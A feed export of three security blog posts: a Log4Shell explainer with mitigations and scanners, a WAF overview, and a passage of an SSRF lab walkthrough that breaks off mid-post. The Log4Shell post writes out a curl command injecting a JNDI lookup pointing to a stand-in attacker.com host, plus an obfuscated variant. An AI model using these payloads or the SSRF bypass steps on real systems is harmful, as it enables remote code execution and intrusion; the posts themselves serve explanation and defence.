            <content:encoded><![CDATA[<p><em>This blog post was published on </em><a href="https://www.prplbx.com/resources/blog/log4j"><em>PurpleBox </em></a><em>website on </em>Dec 17th, 2021.</p><figure><img alt="Log4j Vulnerability" src="https://cdn-images-1.medium.com/max/1024/1*wGGdaI7qOQz8KkcbXEnF8g.png" /></figure><h3>1. Introduction</h3><p>Log4Shell is a severe critical vulnerability affecting many versions of the Apache Log4j application. The vulnerability allows unauthenticated remote code execution. Attackers can take advantage of it by modifying their browser’s user-agent string to <strong><em>${jndi:ldap://[attacker_URL]}</em></strong> format. This vulnerability can be found in products of some of the most famous technology vendors such as AWS, IBM, Cloudflare, Cisco, iCloud, Minecraft: Java Edition, Steam, and VMWare.</p><p>On December 9th, 2021, it was made public via the project’s GitHub website. This issue affects Apache Log4j 2 versions 2.0 to 2.14.1, as identified by Chen Zhaojun of Alibaba Cloud Security Team. NIST published a critical CVE in the National Vulnerability Database on December 10th, 2021, naming this as <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-44228">CVE-2021–44228</a>. The highest severity score available, 10, has been determined as the official CVSS base severity score.</p><h3>2. What is Log4Shell?</h3><p>Apache Log4j is a Java-based logging utility. Log4j Java library’s role is to log information that helps applications run smoothly, determine what’s happening, and help with the debugging process when errors occur.</p><p>Logging libraries typically write down messages to the log file or a database. Before the string is recorded to a log file, it is frequently processed. For example, variables defined as <strong><em>${variable}</em></strong> expanded as date, time, or username. The <strong><em>${user.username}</em></strong> expression can be replaced with the current user’s actual username using an expression like <strong><em>Log.info(“${user.username} not found”)</em></strong>. This is similar to using <strong><em>$()</em></strong> in PowerShell to expand and parse strings.</p><p>For remote lookups to retrieve this information from a remote machine, Log4j uses the Java Naming and Directory Interface (JNDI). JNDI allows programmers to look up items using a variety of services and protocols, including LDAP, DNS, Java Remote Method Invocation (RMI), and others.</p><p>JNDI syntax is:</p><pre>${ jndi:protocol://server}. ${}</pre><p>These blocks can be nested and merged. It allows for countless complicated obfuscation techniques that can be used. For example, attackers can use <strong><em>${${lower:jn}${lower:di}}</em></strong> instead of <strong><em>${ jndi:}</em></strong>. This allows attackers to retrieve information from a remote server by exploiting the vulnerability. They can, for example, read an environment variable and use its value in an LDAP query.</p><p>Java objects can also be stored in a directory service, and JNDI has logic that detects when a directory object contains a Java object and loads it into memory. The LDAP object loader will retrieve the contents of the URL defined in javaCodebase and use it to create an object in memory, If the LDAP object has ObjectClass attribute defined as javaNamingReference and has the attributes javaCodebase, javaFactory, and javaClassName. This class’ initialization method (constructor) is called and loads untrusted code from an untrusted source.</p><p>If the attacker can find a way to get a specially crafted string to be processed by the Log4j logging framework, an attacker can exploit it. For example, a web application (the target of this vulnerability) typically stores the user agent string, which identifies the browser used by visitors.</p><pre>String userAgent = request.getRequestHeader(&quot;User-Agent&quot;);<br>log.info(userAgent)</pre><p>Attackers can specify a custom user-agent string for their connections. This data is saved in a log file, and Log4j is exploited while processing it. Here is a specially crafted user-agent string to trigger this vulnerability:</p><pre>curl http://victim.com/ -A &quot;${ jndi:ldap://attacker.com/reference}&quot;</pre><p>Apache Log4j2 2.0 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in the configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI related endpoints. From Log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0, this functionality has been completely removed.</p><h3>3. Why is the Log4j vulnerability so important?</h3><p>Log4j is used in most of the developed java applications. This means that the number of devices that could potentially be affected by the security vulnerability is approximately 2.5–3 billion. Also, a very large percentage of the enterprise uses java applications.</p><p>According to statistical data, there have been more than 1,272,000 hacking attempts to date, and over 44% of corporate networks globally have been affected by this vulnerability. Recently, a large number of attacks have been detected that exploit the Log4j vulnerability involving cryptocurrency mining.</p><p>Log4Shell (CVE 2021–44228) means that attackers can remotely run whatever code they want and gain access to all data on the affected machine. It also allows them to delete or encrypt all files on the affected machine and store them for a ransom demand. This potentially makes it a target for anything that uses a vulnerable version of Log4j to log user-controllable data.</p><h3>4. How can attackers exploit the vulnerability?</h3><p>Log4j allows logged messages to contain format strings that reference external information through the <a href="https://docs.oracle.com/javase/jndi/tutorial/getStarted/overview/index.html">Java Naming and Directory Interface (JNDI)</a>. This allows information to be remotely retrieved across a variety of protocols, including the <a href="https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol">Lightweight Directory Access Protocol (LDAP)</a>.</p><p>For example, when Log4j finds the following string in a log message:</p><pre>${jndi:ldap://prplbx.com/security}</pre><p>It instructs the JNDI to ask the LDAP server at “prplbx.com” for the “security” object. By design, JNDI will execute Java classes that an LDAP server references. If the LDAP server’s response references the URL <a href="https://prplbx.com/security">https://prplbx.com/security</a>, JNDI will automatically request the file security.class from the web server and execute the response.</p><p>Since the contents of log messages often contain user-controlled data, attackers can insert JNDI references pointing to LDAP servers they control, ready to serve malicious Java classes that perform any action they choose.</p><figure><img alt="log4j-vulnerability-exploitation-illustration-cve-2021–44228" src="https://cdn-images-1.medium.com/max/590/0*8q8oXaMb48T5MKx7.png" /></figure><p>The screenshot below is a list of the HTTP headers in a GET request that illustrates the attacker using interact.sh to probe for vulnerable servers.</p><figure><img alt="http-header-list" src="https://cdn-images-1.medium.com/max/590/0*Fj1x0uTvShCa0xO_.png" /></figure><h3>5. What are related CVEs?</h3><h4>a. <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-44228">CVE-2021–44228</a></h4><p><strong>Description:</strong> Apache Log4j2 JNDI features do not protect against attacker-controlled LDAP and other JNDI-related endpoints.</p><p><strong>Severity:</strong> Critical</p><p><strong>Base CVSS Score:</strong> 10.0 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</p><p><strong>Versions Affected</strong>: All versions from 2.0-beta9 through 2.12.1 and 2.13.0 through 2.14.1</p><p><strong>Details:</strong> In Apache Log4j2 versions up to and including 2.14.1 (excluding security release 2.12.2), the JNDI features used in configurations, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.</p><h4>b. <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-45046">CVE-2021–45046</a></h4><p><strong>Description:</strong> Apache Log4j2 Thread Context Message Pattern and Context Lookup Pattern vulnerable to a denial of service attack.</p><p><strong>Severity:</strong> Moderate</p><p><strong>Base CVSS Score:</strong> 3.7 (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)</p><p><strong>Versions Affected:</strong> All versions from 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0</p><p><strong>Details:</strong> It was found that the fix to address CVE-2021–44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allow attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, <strong><em>$${ctx:loginId}</em></strong>) or a Thread Context Map pattern <strong><em>(%X, %mdc, or %MDC)</em></strong> to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack. Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default. Note that previous mitigations involving configuration such as to set the system property log4j2.formatMsgNoLookups to true do NOT mitigate this specific vulnerability.</p><h4>c. <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-4104">CVE-2021–4104</a></h4><p><strong>Description:</strong> Deserialization of untrusted data in JMSAppender in Apache Log4j 1.2.</p><p><strong>Severity:</strong> N/A</p><p><strong>Base CVSS Score:</strong> NVD score not yet provided.</p><p><strong>Versions Affected:</strong> Log4j 1.2</p><p><strong>Details:</strong> JMSAppender in Log4j 1.2 is vulnerable to deserialization of untrusted data when the attacker has written access to the Log4j configuration. The attacker can provide TopicBindingName and TopicConnectionFactoryBindingName configurations causing JMSAppender to perform JNDI requests that result in remote code execution similarly to CVE-2021–44228. Note this issue only affects Log4j 1.2 when specifically configured to use JMSAppender, which is not the default. Apache Log4j 1.2 reached the end of life in August 2015. Users should upgrade to Log4j 2 as it addresses numerous other issues from the previous versions.</p><h3>6. Mitigation</h3><p>The vendor has released a fix and the customers are advised to update their Log4j to version 2.16.0, if updating the version is possible. This advice and the following methods help mitigate the impacts of vulnerability:</p><h3>Update your servers</h3><p>The best fix against these vulnerabilities is to patch log4j to 2.16.0 and above:</p><p><strong>Log4j 1.x mitigation:</strong> Log4j 1.x is not impacted by this vulnerability.</p><p><strong>Log4j 2.x mitigation:</strong> Implement one of the mitigation techniques below.</p><ul><li>Java 8 (or later) users should upgrade to release 2.16.0.</li><li>Users requiring Java 7 should upgrade to release 2.12.2 when it becomes available (work in progress, expected to be available soon).</li><li>Otherwise, remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class</li></ul><p>Note that only the log4j-core JAR file is impacted by this vulnerability. Applications using only the log4j-api JAR file without the log4j-core JAR file are not impacted by this vulnerability.</p><h3>Firewall</h3><p>Using outgoing firewall rules on servers is a good mitigation technique to prevent attackers. If the server can make DNS lookups and attackers scan for vulnerable instances of log4j2 which will trigger the DNS lookup. Although attackers can easily bypass firewalls, having a firewall can block the outgoing connections of an actual attack and provide some degree of security.</p><h3>Remove the jar files</h3><p>Simply removing the jar files will break logging via log4j 2, but this is probably the weakest remediation technique as it is intrusive and prone to error.</p><h3>Attack and hotfix your servers</h3><p>Using exploit code to attack running servers, securing, and then modifying it to fix a vulnerability is a really poor security fix and workaround. However, this will be required at the point where other mitigations cannot be applied. There are two OpenSource projects to hotfix this:</p><p><a href="https://github.com/corretto/hotpatch-for-apache-log4j2">Log4jHotPatch</a><strong>:</strong></p><p>This is a tool that injects a Java agent into a running JVM process. The agent will attempt to patch the lookup() method of all loaded org.apache.logging.log4j.core.lookup.JndiLookup instances to unconditionally return the string <strong><em>“Patched JndiLookup::lookup()”</em></strong>. It is designed to address the <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-44228/">CVE-2021–44228</a> remote code execution vulnerability in Log4j without restarting the Java process. This tool will also address <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-45046/">CVE-2021–45046</a>.</p><p><a href="https://github.com/Cybereason/Logout4Shell">Logout4Shell</a><strong>:</strong></p><p>This project attempts to fix the vulnerability by using the bug against itself. You can learn more about Cybereason’s “vaccine” approach to the Apache Log4Shell vulnerability (CVE-2021–44228) on our website.</p><h3>7. Log4j Vulnerability Scanning &amp; Detection Tools</h3><p>We should always think if we’re using software that has the Log4j component, it could be affected. We’re sharing some useful tools for you to help detect Log4j vulnerabilities. However, we want to clarify one thing: If these tools could not find anything at the moment, it does not mean that we’re safe. All tools and systems are still updating, new CVEs are being added. So, we need to follow updates, news, and details every day.</p><figure><img alt="log4j-vulnerability-scanning-detection-tools" src="https://cdn-images-1.medium.com/max/590/0*8LOqgEpzQk69dgRW.png" /></figure><h4>a. log4j-scan</h4><p>You can use the Log4j scanning tool to check your system. This tool is a fully automated, accurate, and extensive scanner for finding log4j RCE CVE-2021–44228. You can download from the <a href="https://github.com/fullhunt/log4j-scan">Github repository</a> and install the requirements easily.</p><p><strong>Installation:</strong> You need to clone the Github repository and install the required dependencies.</p><pre>$ git clone <a href="https://github.com/fullhunt/log4j-scan">https://github.com/fullhunt/log4j-scan</a></pre><figure><img alt="log4j-scan_installation" src="https://cdn-images-1.medium.com/max/590/0*v1DhgbyoQrxsR2AW.png" /></figure><pre>$ pip3 install -r requirements.txt</pre><figure><img alt="log4j-scan_installation" src="https://cdn-images-1.medium.com/max/590/0*BqdHIEMeh9R1PHu0.png" /></figure><p><strong>Usage:</strong> You can run your log4j-scan script now if everything works fine.</p><figure><img alt="log4j-scan_tool_usage" src="https://cdn-images-1.medium.com/max/590/0*POBQ0kxpqyJznD4k.png" /></figure><p>If you want to scan a single URL:</p><pre>$ python3 log4j-scan.py -u &lt;your_url&gt;</pre><p>If you want scan a Single URL using all Request Methods: GET, POST (url-encoded form), POST (JSON body):</p><pre>$ python3 log4j-scan.py -u &lt;your_url&gt; --run-all-tests</pre><p>If you want to discover WAF bypasses on your environment:</p><pre>$ python3 log4j-scan.py -u &lt;your_url&gt; --waf-bypass</pre><p>If the target is not vulnerable, log4j-scan tool output is “Targets do not seem to be vulnerable.</p><figure><img alt="log4j-scan_target_is_not_vulnerable" src="https://cdn-images-1.medium.com/max/590/0*shCQPfDGUuzjGU57.png" /></figure><p>If the target is vulnerable, log4j-scan tool output is “[!!!] Target Affected”</p><figure><img alt="log4j-scan_target_is_vulnerable" src="https://cdn-images-1.medium.com/max/590/0*siZWA_smJy-20Vsf.png" /></figure><h4>b. Huntress Log4Shell Vulnerability Tester</h4><p><a href="https://log4shell.huntress.com/">This tool</a> works by generating a random unique identifier which you can use when testing input fields. If an input field or application is vulnerable, it will reach out to this website over LDAP. Our LDAP server will immediately terminate the connection, and log it for a short time.</p><figure><img alt="huntress_vulnerability_results" src="https://cdn-images-1.medium.com/max/590/0*295bL_BTwYWdj0uo.png" /></figure><h4>c. BurpSuite Log4Shell Scanner</h4><p>You can find a Burp Extender Plugin for Enterprise and Professional related to Log4j vulnerability. The plugin is available in the BApp Store under the name <a href="https://portswigger.net/bappstore/b011be53649346dd87276bca41ce8e8f">Log4Shell Scanner.</a></p><figure><img alt="burpsuite_log4shell_scanner" src="https://cdn-images-1.medium.com/max/590/0*TvltMsNVzN0F6PLA.png" /></figure><h4>d. Others</h4><p>Many companies such as <a href="https://blog.qualys.com/vulnerabilities-threat-research/2021/12/10/apache-log4j2-zero-day-exploited-in-the-wild-log4shell">Qualys</a>, <a href="https://www.tenable.com/plugins/was/113075">Nessus</a>, <a href="https://www.datto.com/blog/datto-releases-log4shell-rmm-component-for-datto-partners-and-msp-community">Datto</a>, <a href="https://blog.cloudflare.com/log4j-cloudflare-logs-mitigation/">Cloudflare</a> which provide cybersecurity and vulnerability management services, announced that they have added plugins and controls related to this critical vulnerability. You can check all details from their knowledge base libraries.</p><figure><img alt="qualys_log4j_knowledgebase" src="https://cdn-images-1.medium.com/max/590/0*4jItlM-mJ3nS1FVz.png" /></figure><h3>8. Conclusion</h3><p>In this blog post, we’ve briefly explained what Log4Shell is, why the vulnerability is important, how it can be exploited, and some remediation advice to protect ourselves against this vulnerability. We also shared different and useful tools with you, all of which are capable of scanning and detecting the vulnerability.</p><p>We hope you enjoyed it! Stay safe from cyber-attacks!</p><p><em>If you want to read more on this topic, feel free to check out the</em><a href="https://www.prplbx.com/resources/blog"><em> PurpleBox Blog Section.</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2564454c5c0e" width="1" height="1" alt=""><hr><p><a href="https://medium.com/purplebox/log4j-2564454c5c0e">What is Apache Log4J Vulnerability and How to Prevent It?</a> was originally published in <a href="https://medium.com/purplebox">PurpleBox Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What is a Web Application Firewall?]]></title>
            <link>https://medium.com/purplebox/what-is-a-web-application-firewall-61ffd1f17722?source=rss-9b32dcf205f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/61ffd1f17722</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[waf]]></category>
            <category><![CDATA[appsec]]></category>
            <dc:creator><![CDATA[prplbx]]></dc:creator>
            <pubDate>Thu, 16 Dec 2021 14:23:14 GMT</pubDate>
            <atom:updated>2021-12-16T14:23:14.973Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This blog post was published on </em><a href="https://www.prplbx.com/resources/blog/what-is-waf"><em>PurpleBox </em></a><em>website on </em>Dec 16th, 2021.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*17Bj1mBLHnfQ7ewSHBR7nA.png" /></figure><p>Web Application Firewall (WAF) is a barricade within client and server. What does a web application firewall do? The purpose of WAF is to monitor, filter, sanitize or block malicious requests to the web application. It runs in the application layer, which is the 7th layer of OSI and aims to protect web applications against attacks. It is usually positioned between the web application and the client. Web Application Firewall is similar to a reverse proxy in terms of its location between the web application and the client. Web Application Firewall comes in three types: network-based, host-based, and cloud-based. The use of WAF is mandatory in some standards, and one of the most important of these standards is the <a href="https://www.securitymetrics.com/blog/pci-66-why-you-need-web-application-firewall-and-network-firewall#:~:text=The%20Payment%20Card%20Industry%20Data,to%20public%2Dfacing%20web%20applications.">PCI Data Security Standard</a>.</p><h3>How Does Web Application Firewall Work?</h3><p>It prevents incoming attacks by analyzing incoming network traffic to the webserver/web application according to the rules and policies. It is recommended that the selected WAF should be able to detect the attack types on the <a href="https://owasp.org/Top10/">OWASP list</a>: SQL Injection, <a href="https://www.google.com/url?q=https://owasp.org/www-community/attacks/xss/&amp;sa=D&amp;source=docs&amp;ust=1639483652258000&amp;usg=AOvVaw1el3qG_V9dDR3Ab-xySk_j">Cross-Site Scripting</a>, Command Injection, Local File Inclusion, Remote File Inclusion, Buffer Overflow, <a href="https://www.google.com/url?q=https://owasp.org/www-community/attacks/Brute_force_attack&amp;sa=D&amp;source=docs&amp;ust=1639483652258000&amp;usg=AOvVaw1077ruSYlyNyyZI4LsUSOU">Brute-Force Attacks</a>, Cookie-Session Poisoning, Session Hijacking, Sensitive Data Leaks, <a href="https://www.google.com/url?q=https://owasp.org/Top10/A05_2021-Security_Misconfiguration/&amp;sa=D&amp;source=docs&amp;ust=1639483652258000&amp;usg=AOvVaw383vjKWEEB5zmEgskWRhyy">Server Misconfiguration</a>, Well-Known Vulnerabilities, Form and Hidden Field Manipulation, Parameter Tampering, and File Upload Vulnerabilities.</p><h3>Types of Web Application Firewalls</h3><p>A Web Application Firewall can be implemented in three different ways, each with its benefits and shortcomings:</p><h4>Host-Based:</h4><p>Usually software-based and can easily integrate with web servers. In terms of price, it is more suitable than Network-Based Web Application Firewalls.</p><h4>Network-Based:</h4><p>Usually hardware-based and installed as a separate physical device. It requires maintenance costs and physical hardware storage. Therefore, it is expensive compared to other Web Application Firewall types.</p><h4>Cloud-Based:</h4><p>Offers an affordable and simple setup. It is received as a service from a third party with monthly and annual payments. It can offer a constantly updated solution to protect against the latest threats without any additional work or cost from the user. The biggest disadvantage is the transfer of responsibility to a third party.</p><h3>Web Application Firewall Security Models</h3><p>There are three types of security models used for Web Application Firewalls.</p><h4>Positive Security Model</h4><p>The positive security model is a model in which only allowed requests or inputs are trusted and the rest are denied. Allowed inputs or requests are considered based on the whitelist.</p><figure><img alt="Positive Security Model" src="https://cdn-images-1.medium.com/max/590/0*ef8Qv2mSwlhxMMn6.png" /></figure><h4>Negative Security Model</h4><p>The negative security model is the exact opposite of the positive security model. It means the negative security model rejects certain inputs or requests. Rejected inputs or requests are considered based on the blacklist.</p><figure><img alt="Negative Security Model" src="https://cdn-images-1.medium.com/max/590/0*gRKr3m5ptdWWS3io.png" /></figure><h4>Mixed Security Model</h4><p>The mixed security model is a model which uses both white and blacklists.</p><figure><img alt="Mixed Security Model" src="https://cdn-images-1.medium.com/max/590/0*yMb7cphd-TcW10-m.png" /></figure><h3>What is the Difference Between Blocklist and Allowlist WAF’s?</h3><p>With the block list, all traffic is allowed to pass and only traffic/requests of identified threats are blocked. In the allow list, most of the traffic is blocked and only the trusted traffic/requests we have specified are allowed to pass. Continuous monitoring and updating of the list can be seen as a disadvantage of using Blocklist.</p><h3>Web Application Firewall Testing</h3><p>To control WAF performance, a server can be installed locally and tested with client simulations such as Curl-Loader or Siege.</p><h3>Web Application Firewall Important Configurations</h3><h4>1. Set-Up</h4><p>First of all, you should select a WAF which is suitable for your web application. After this step, you should install the WAF you have chosen.</p><h4>2. Access Control List (ACL) Configuration</h4><p><a href="https://www.google.com/url?q=https://www.fortinet.com/resources/cyberglossary/network-access-control-list&amp;sa=D&amp;source=docs&amp;ust=1639483652258000&amp;usg=AOvVaw0tmnXkJOpBOUnndMTquA6v">Access Control List (ACL)</a> is to block or allow web requests based on conditions you specify, such as the IP addresses from which the requests originate or the values in the requests. In this step, you should create an access control list and configure it according to your wishes.</p><h4>3. Rule Configurations</h4><p>In this step, you should create a rule with a string match statement and indicate what to do with matching or doesn’t match requests (block, sanitize, or allow). A string rule statement identifies strings that you want WAF to search for in a request. In addition to specifying the string to search for, you specify the web request component that you want to search, such as a header, a query string, or the request body.</p><h3>Business Use Scenarios for a Web Application Firewall Deployment</h3><p>Protecting corporate data and services is the first and most compelling reason to implement a WAF. Thousands of businesses, from small companies to huge corporations, rely on their online presence to generate money and keep the firm afloat. If this revenue stream is compromised, the company will suffer a variety of consequences, including:</p><h4>Loss of Direct Revenue:</h4><p>A firm may lose a considerable amount of money if a web resource becomes inaccessible, as a result of purchases not being made or leads not being created.</p><h4>Loss of Customer Confidence:</h4><p>Many consumers and customers pay attention to news stories about specific firms being hacked and make a mental note to avoid doing business with that company. It’s crucial to have a good reputation.</p><h4>Loss of Sensitive Data:</h4><p>In numerous situations, hackers have gained access to sensitive information such as credit card numbers, names, addresses, Social Security Numbers, and medical records after websites have been hacked. Proprietary information, trade secrets, and even classified government data are examples of protected data. While this is undesirable in and of itself, the fines and costs of catastrophe recovery/forensics can exceed any other financial consequence.</p><p><em>If you want to read more on this topic, feel free to check out the</em><a href="https://www.prplbx.com/resources/blog"><em> PurpleBox Blog Section.</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=61ffd1f17722" width="1" height="1" alt=""><hr><p><a href="https://medium.com/purplebox/what-is-a-web-application-firewall-61ffd1f17722">What is a Web Application Firewall?</a> was originally published in <a href="https://medium.com/purplebox">PurpleBox Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Complete Guide To Server-Side Request Forgery (SSRF)]]></title>
            <link>https://medium.com/purplebox/a-complete-guide-to-server-side-request-forgery-ssrf-58b1dbdd064e?source=rss-9b32dcf205f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/58b1dbdd064e</guid>
            <category><![CDATA[ssrf]]></category>
            <category><![CDATA[appsec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[technical-guide]]></category>
            <dc:creator><![CDATA[prplbx]]></dc:creator>
            <pubDate>Tue, 16 Nov 2021 09:47:22 GMT</pubDate>
            <atom:updated>2021-11-16T10:04:06.171Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This blog post was published on </em><a href="https://www.prplbx.com/resources/blog/ssrf-guide"><em>PurpleBox </em></a><em>website on </em>Nov 10th, 2021.</p><figure><img alt="SSRF" src="https://cdn-images-1.medium.com/max/1024/1*gnAA1dtW4Ag48KJ2E4GH3Q.png" /></figure><p>We have talked in detail about what Server-Side Request Forgery (SSRF) is and how to prevent an SSRF attack in our “<a href="https://www.prplbx.com/resources/blog/what-is-ssrf/">Welcome SSRF! Take a Look at the New Members of OWASP Top 10!</a>” blog post earlier.</p><p>This post will show how to exploit SSRF step-by-step with example cases used in lab environments from the <a href="https://portswigger.net/">PortSwigger</a>.</p><h3>How Does an SSRF Attack Take Place?</h3><p>In summary, the user sends the HTTP request to the application and the application sends the request to the relevant server. In return, the server sends the response to the application and the application presents a response to the user.</p><p>What if the user can control the request which is sent by the application? This is where the Server-Side Request Forgery (SSRF) rises.</p><figure><img alt="How to SSRF takes place?" src="https://cdn-images-1.medium.com/max/590/0*p6Ca-9Gf6ymt97lO.png" /></figure><h3>Common SSRF Attacks</h3><h3>1. SSRF Attacks Against the Server Itself</h3><p>In this type of SSRF attack, the application requests the server that is already hosting the application itself.</p><p><strong>CONDITION:</strong> To solve the lab, we need to access the admin panel and delete User Carlos.</p><p><strong>STEP #1:</strong> We are looking for application functionalities for finding the SSRF vulnerable endpoint. You can see the Main Application Page below indicating that Lab is not solved:</p><figure><img alt="Main Application Page — Lab not solved" src="https://cdn-images-1.medium.com/max/590/0*-BUXUMCXm9sdL-r0.png" /></figure><p><strong>STEP #2:</strong> We found a check stock function by making API calls in the post request body. You may see the Check Stock Function page below:</p><figure><img alt="Check stock function page" src="https://cdn-images-1.medium.com/max/590/0*YTW8UFa-TQP_QJya.png" /></figure><p>The Burp Suite screenshot below displays the original check stock post request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*RwDOL_mtxRNoNq1L.png" /></figure><p><strong>STEP #3:</strong> In the screenshot below, we are changing the “stockApi” parameter value to <a href="http://127.0.0.1/">http://127.0.0.1</a> and trying to reach the admin panel through the localhost. As we can see, the admin panel delete function URL is reflected in the response:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*HbckbigRl-sTV3Bo.png" /></figure><p><strong>STEP #4:</strong> Now we have the user delete function URL info and SSRF vulnerability. Let’s delete the User Carlos:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*2c5v6WVhdy8li5Hl.png" /></figure><p>After this step, the Main Application Page will be indicating that Lab is solved:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*1h4ro6mqZiCLGWzZ.png" /></figure><h3>2. SSRF Attacks Against Other Back-End Systems</h3><p>Another type of SSRF attack is where the application server can interact with other back-end systems that are not directly reachable by users. These systems often have non-routable private IP addresses.</p><p><strong>CONDITION:</strong> To solve the lab, we need to access the admin panel through a non-routable private IP address and delete the User Carlos.</p><p><strong>STEP #1:</strong> We changed the same check stock parameter value to private IP in the HTTP POST request and reviewed the response. The Burp Suite screenshot below displays the original check stock post request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*thZihYbtn299Nbh0.png" /></figure><p><strong>STEP #2:</strong> In this step, we are trying to learn which private IP is valid. We can use Intruder for this step. We are choosing only the last octet of IP addresses and setting the payload options as in the image below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*kpCEqhR60UNQqWC_.png" /></figure><p>The Burp Suite screenshot below displays the intruder payload configuration for the check stock post request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*F5O_rQXkuPAxynBy.png" /></figure><p><strong>STEP #3:</strong> After finishing the intruder attack, we can see the valid private IP and the URL for deleting the User Carlos:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*dCzwKh5cRXDeZw2W.png" /></figure><p><strong>STEP #4:</strong> If we send the request to the relevant endpoint, we can see that we deleted the User Carlos:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*Dr37HmzM2ERW9gB0.png" /></figure><h3>Circumventing Common SSRF Defenses</h3><h3>1. SSRF With Blacklist-Based Input Filters</h3><p>This type of SSRF attack has a blacklist that sanitizes, deletes, or rejects the inputs according to the blacklist. However, the attackers can bypass the blacklist filters with various methods.</p><p><strong>CONDITION:</strong> To solve the lab, we need to access the admin panel and delete the User Carlos.</p><p><strong>STEP #1:</strong> As we can see in the previous examples, the first step is inspecting the different requests and responses. We found the check stock function. We noticed that some inputs were rejected by the server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*afuCbuOA8nUYk4Rf.png" /></figure><p>The Burp Suite screenshot below displays the check stock payload for the blocked stockApi parameter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*8vS1uA75kCSve3zu.png" /></figure><p><strong>STEP #2:</strong> After a few tries we found a payload that will allow us to bypass the filter. The Burp Suite screenshot below displaying the check stock payload for bypassed stockApi parameter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*k_X9zX446cm93-BM.png" /></figure><p><strong>STEP #3:</strong> Now we can access the admin panel and delete the User Carlos:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*FTvW3kHJPKRIE_as.png" /></figure><h3>2. SSRF With Whitelist-Based Input Filters</h3><p>This type of SSRF attack is similar to the blacklist type attacks but whitelist attacks only allow input that matches, begins with, or contains a whitelist of permitted values.</p><p><strong>CONDITION:</strong> To solve the lab, access the admin panel and delete the User Carlos.</p><p><strong>STEP #1:</strong> The first step is finding the endpoint as always. We can see the error message in the HTTP response body. The Burp Suite screenshot below displays the original check stock post request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*xKiOiT8QSe7wLFwF.png" /></figure><p>The Burp Suite screenshot below displays the check payload for the blocked stockApi parameter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*qU777G9akWtq1mVY.png" /></figure><p><strong>STEP #2:</strong> After a few tries we found a payload that will allow us to bypass the filter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*KX2qj0Gq4G8oWPwQ.png" /></figure><p><strong>STEP #3:</strong> Now we can access the admin panel and delete the User Carlos:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*ac2PrwqTE8L92Gsr.png" /></figure><h3>3. Bypassing SSRF Filters via Open Redirection</h3><p>In this type of SSRF attack, the attacker cannot access the internal services directly. However, the attacker can add redirection to the SSRF endpoint URL and redirect the second service to the internal service.</p><p><strong>CONDITION:</strong> To solve the lab, access the admin panel and delete the User Carlos.</p><p><strong>STEP #1:</strong> We are trying to find a valid endpoint for the SSRF attack. After a little walking in the application, we found an endpoint that has a redirection path parameter. We are inspecting the endpoint URL, adding a path parameter, and feeding the stock check function with this URL for the redirection:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*jWTcbGLLPOTZAhzc.png" /></figure><p><strong>STEP #2:</strong> After a few tries we found a valid path that will allow us to redirect:</p><figure><img alt="" 